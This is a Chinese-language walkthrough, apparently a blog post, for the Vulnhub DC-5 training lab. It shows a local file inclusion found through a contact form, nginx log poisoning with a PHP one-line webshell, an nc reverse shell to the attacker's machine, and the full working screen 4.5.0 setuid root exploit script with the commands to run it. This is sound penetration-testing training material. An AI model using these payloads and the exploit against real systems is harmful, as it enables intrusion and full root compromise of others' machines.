Vulnhub靶機(jī)入門系列DC:5

DC-5

? 題目描述:

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it **is** there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will **hopefully** provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.

描述中說到something that changes with a refresh of a page(隨著頁面刷新而改變的東西),這里我們留意一下。并且靶機(jī)只有一個flag

知識點(diǎn)總結(jié):

? ①端口掃描(熟悉常用的幾個端口是哪個服務(wù))

? ②文件包含漏洞

? ③利用文件包含寫入shell

? ④screen提權(quán)

1.使用命令列出局域網(wǎng)內(nèi)所有主機(jī)

? arp-scan -l

image

獲得目標(biāo)主機(jī)IP:192.168.2.118

2.使用nmap掃描目標(biāo)主機(jī)查看開放端口

root@kali:~#nmap -sV -p- 192.168.2.118 
參數(shù)說明:                
        -sV 用來掃描目標(biāo)主機(jī)和端口上運(yùn)行的軟件的版本
        -p 80 指定80端口
        -p- 掃描0-65535全部端口
image

可以看到開放了80端口,代表有web服務(wù),直接訪問

常用端口參考鏈接

3.訪問IP查看web內(nèi)容

image

在contact模塊發(fā)現(xiàn)了留言板的功能,隨便輸入測試一下

image

看到請求被提交到了thankyou.php,并且有參數(shù),為GET方式傳參。從題目描述中我們也知道提示到了刷新,我們刷新下頁面看下

image

被圈住的地方每當(dāng)刷新一次都會改變,有此我們可以聯(lián)想到可能有文件包含漏洞

我們現(xiàn)在先掃一下目錄看一下是哪個文件被包含進(jìn)來

使用DirBuster掃描目錄

image

可以發(fā)現(xiàn)有一個footer.php 訪問一下正好驗(yàn)證文件包含的漏洞

image

4.測試文件包含參數(shù)

那么我們現(xiàn)在就要確定文件包含的參數(shù)是哪一個,一般page ,file,filename用的比較多,我們可以試一下,如果不是我們也可以用kali里邊自帶的字典進(jìn)行fuzz

image

由此,我們可以確定參數(shù)為file

我們現(xiàn)在可以對文件進(jìn)行讀取了,但是我們的目的是獲取shell,如果只讀取文件是無法完成的,我們需要往里邊寫東西,于是可以想到利用日志文件,將shell寫入日志文件 然后進(jìn)行文件包含

image

可以看到網(wǎng)站是Nginx的,Nginx 的日志默認(rèn)路徑是

/var/log/nginx/error.log

/var/log/nginx/access.log

我們也可以用過FuzzDB提供的字典進(jìn)行爆破日志的位置字典鏈接

image

有了日志文件位置,接下來就要往日志文件寫一句話木馬

5.寫入一句話木馬

?file=<?php @eval($_POST[123]);?>

image

查看日志文件

image

可以看到一句話木馬已經(jīng)被寫進(jìn)日志文件了

使用蟻劍進(jìn)行連接

image

6.我們用nc反彈一個shell到我們的kali機(jī)

? 首先在kali機(jī)上nc -nlvp 1234

? 然后使用 nc -e /bin/sh IP port 來反彈

image

因?yàn)檫@個shell不是很穩(wěn)定,我們用python換一個shell

python -c 'import pty; pty.spawn("/bin/bash")'

7.接下來進(jìn)行提權(quán)

? 首先我們要查找目前用戶有什么root權(quán)限的命令(下邊兩行命令都可以查詢)

find / -user root -perm -4000 -print 2>/dev/null         

find / -perm -u=s -type f 2>/dev/null      

find / -user root -perm -4000 -exec ls -ldb {} \ ;
image

一般可以用來SUID提權(quán)的有

Nmap
Vim
find
Bash
More
Less
Nano
cp

但是我們發(fā)現(xiàn)可用的里邊沒有,而且有一個screen-4.5.0的奇怪的東西,百度查看一下可以知道這個命令可以用來提權(quán)

我們用searchsploit搜索一下漏洞利用腳本

searchsploit screen 4.5.0
image

我們用第一個41154.sh

拷貝過來

cp /usr/share/exploitdb/exploits/linux/local/41154.sh  41154.sh

直接上傳這個腳本執(zhí)行不了

查看一下腳本如何利用

cat 41154.sh

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

第一步

? 將第一步分的c代碼放入libhax.c中 然后進(jìn)行編譯

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

第二步

? 將第二部分c代碼放入rootshell.c中進(jìn)行編譯

gcc -o /tmp/rootshell /tmp/rootshell.c

第三步

? 通過nc將文件傳輸?shù)侥繕?biāo)機(jī)的tmp文件夾,因?yàn)閠mp文件夾的權(quán)限一般很大,或者也可以直接用蟻劍傳輸

kali:
nc -nlvp 1234 < libhax.so
nc -nlvp 1234 < rootshell
目標(biāo)機(jī):
nc 192.168.2.135 1234 > libhax.so
nc 192.168.2.135 1234 > rootshell
image

第四步

我們按照腳本里邊的命令一步一步執(zhí)行就可以了

$cd /etc
$umask 000
$screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
$screen -ls
$/tmp/rootshell

提權(quán)成功

在root目錄下找到flag

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 標(biāo)簽:本地文件包含(LFI)、FUZZ、PHP偽協(xié)議、nginx日志文件寫一句話、反彈shell、screen提權(quán)...
    z1掛東南閱讀 1,582評論 0 1
  • DC-6 題目描述 描述中說到和之前一樣只有一個Flag,并且需要配置一下HOSTS,且給了提示 知識點(diǎn)總結(jié) ? ...
    Const_L閱讀 1,010評論 0 1
  • 實(shí)驗(yàn)環(huán)境 kali2020版本: ip 172.25.0.69DC5: MAC 00:0c:29:b2:15:58...
    xioooZorro閱讀 1,007評論 0 1
  • 看更多:我的博客 Vulnhub 簡介 Vulnhub是一個提供各種漏洞環(huán)境的靶場平臺,大部分環(huán)境是做好的虛擬機(jī)鏡...
    簡言之_閱讀 6,244評論 0 3
  • 久違的晴天,家長會。 家長大會開好到教室時,離放學(xué)已經(jīng)沒多少時間了。班主任說已經(jīng)安排了三個家長分享經(jīng)驗(yàn)。 放學(xué)鈴聲...
    飄雪兒5閱讀 7,818評論 16 22

友情鏈接更多精彩內(nèi)容